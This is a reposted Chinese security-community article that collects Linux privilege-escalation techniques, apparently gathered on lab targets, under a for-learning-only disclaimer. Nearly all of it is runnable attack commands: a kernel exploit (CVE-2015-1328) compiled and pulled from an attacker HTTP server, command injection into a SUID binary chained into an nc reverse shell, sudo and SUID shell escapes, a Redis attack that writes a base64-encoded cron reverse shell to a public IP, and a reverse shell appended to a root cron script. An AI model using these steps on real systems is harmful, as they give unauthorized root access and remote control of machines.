点击蓝字 关注我们
免责声明
本文发布的工具和脚本,仅用作测试和学习研究,禁止用于商业用途,不能保证其合法性,准确性,完整性和有效性,请根据情况自行判断。
如果任何单位或个人认为该项目的脚本可能涉嫌侵犯其权利,则应及时通知并提供身份证明,所有权证明,我们将在收到认证文件后删除相关内容。
文中所涉及的技术、思路及工具等相关知识仅供安全为目的的学习使用,任何人不得将其应用于非法用途及盈利等目的,间接使用文章中的任何工具、思路及技术,我方对于由此引起的法律后果概不负责。
1、Linux3.13内核 ubuntu…
-
尝试内核提权
-
查询内核版本号,版本3.13
uname -a
-
搜索关键字
searchsploit linux 3.13.0 ubuntu priv
由于靶机没有gcc,且查看37292.c
脚本发现,还需编译ofs-lib.so
文件。所以考虑把ofs-lib.so
文件从lib文件复制出,并注释掉37292.c
相关代码再便宜,并将编译后的文件和ofs-lib.so
共同上传目标靶机
cp /usr/share/exploitdb/exploits/linux/local/37292.c .
注释掉37292.c的139-147行
gcc -o exp 37292.c
locate ofs-lib.so
cp /usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so .
-
将编译好的
exp
和ofs-lib.so
上传至目标靶机
kali主机在tmp目录启动http server
python3 -m http.server 80
在靶机上下载exp和ofs-lib.so
cd /tmp
wget http://192.168.0.108/exp
wget http://192.168.0.108/ofs-lib.so
-
执行
exp
文件,提权成功。chmod +x exp
./exp
id
2、发现具有sid权限的文件
查找sid的文件
find / -perm /4000 2>/dev/null
ls -l /home/scanner
分析上图得知:update_cloudav.c
可能为update_cloudav
的源码,且update_cloudav
具有sid权限,且属主为root
通过对update_cloudav.c
的源码进行审计,发现运行update_cloudav
在运行云查杀的时候一定要带参数。由此可以设想携带我们需要命令来实现root身份反弹shell。
NC串联、本地提权
-
kali主机监听7777、8888
nc -lnvp 7777
nc -lnvp 8888
-
反弹Shell
./update_cloudav "a|nc 10.0.0.14 7777 | /bin/sh | nc 10.0.0.14 8888"
3、sudo node提权
sudo node -e 'child_process.spawn("/bin/bash", {stdio:[0,1,2]})'
4、redis 提权
通过信息收集发现服务器运行 redis 服务,尝试未授权登录。
webshell 连接 redis 可能会有很多问题,但是解决问题的方式也有很多,这个时候开放式操作。目标写入计划任务反弹 root 权限 shell
下面以编码的方式处理。
反弹 shell ip 端口自行修改。
echo -e "n* * * * * bash -i >& /dev/tcp/149.129.65.126/4444 0>&1n"
使用 base64 编码
以上内容进行 base64 然后 echo base64 之后的字符串进行 base64 解密,解密后通过 sh 执行,执行结果传递给 redis-cli
echo ZWNobyAtZSAiXG4qICogKiAqICogYmFzaCAtaSA+JiAvZGV2L3RjcC8xNDkuMTI5LjY1LjEyNi80NDQ0IDA+JjFcbiI= |base64 -d |sh |/usr/local/src/redis-6.2.5/src/redis-cli -x set x
nc 反弹 shell
$ /usr/local/src/redis-6.2.5/src/redis-cli FLUSHALL
$ echo ZWNobyAtZSAiXG4qICogKiAqICogYmFzaCAtaSA+JiAvZGV2L3RjcC8xNDkuMTI5LjY1LjEyNi80NDQ0IDA+JjFcbiI= |base64 -d |sh |/usr/local/src/redis-6.2.5/src/redis-cli -x set x
$ /usr/local/src/redis-6.2.5/src/redis-cli config set dir /var/spool/cron/
$ /usr/local/src/redis-6.2.5/src/redis-cli config set dbfilename root
$ /usr/local/src/redis-6.2.5/src/redis-cli save
VPS 开启侦听
root@nsvicp:~# nc -lvp 4444
5、sudo 提权
查看 sudo 权限
sudo -l
(root) NOPASSWD: /usr/bin/find
读取 flag
sudo find / -name flag.txt -exec cat {} ;
flag{root nice}
awk 命令
sudo awk 'BEGIN {system("/bin/bash")}'
pip 命令
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip install $TF
php 命令
CMD="/bin/sh"
sudo php -r "system('$CMD');"
6、suid 提权
查找拥有 suid 权限的文件
find / -perm /4000 2>/dev/null
vim 命令提权
/usr/bin/vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
7、计划任务提权
查找 777 权限文件
find / -perm 777 -type f
查看文件
cat hackme.sh
#!/bin/bash
echo `date` > /tmp/date.txt
被写入的文件是 root 权限,所以脚本由 root 身份执行。
ll /tmp/date.txt
-rw-r--r-- 1 root root 29 Aug 12 11:33 /tmp/date.txt
监控文件得知 1 分钟执行 1 次
watch 'ls -l /tmp/date.txt'
ll /tmp/date.txt
-rw-r--r-- 1 root root 29 Aug 12 11:33 /tmp/date.txt
写入反弹 shell ip 端口自行修改
echo "bash -i >& /dev/tcp/vps/4444 0>&1" >> /tmp/hackme.sh
侦听 4444 获取 shell
nc -lnvp 4444
!感谢Locks01师傅投稿!
原文始发于微信公众号(SecHub网络安全社区):Linux提权技巧整理
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论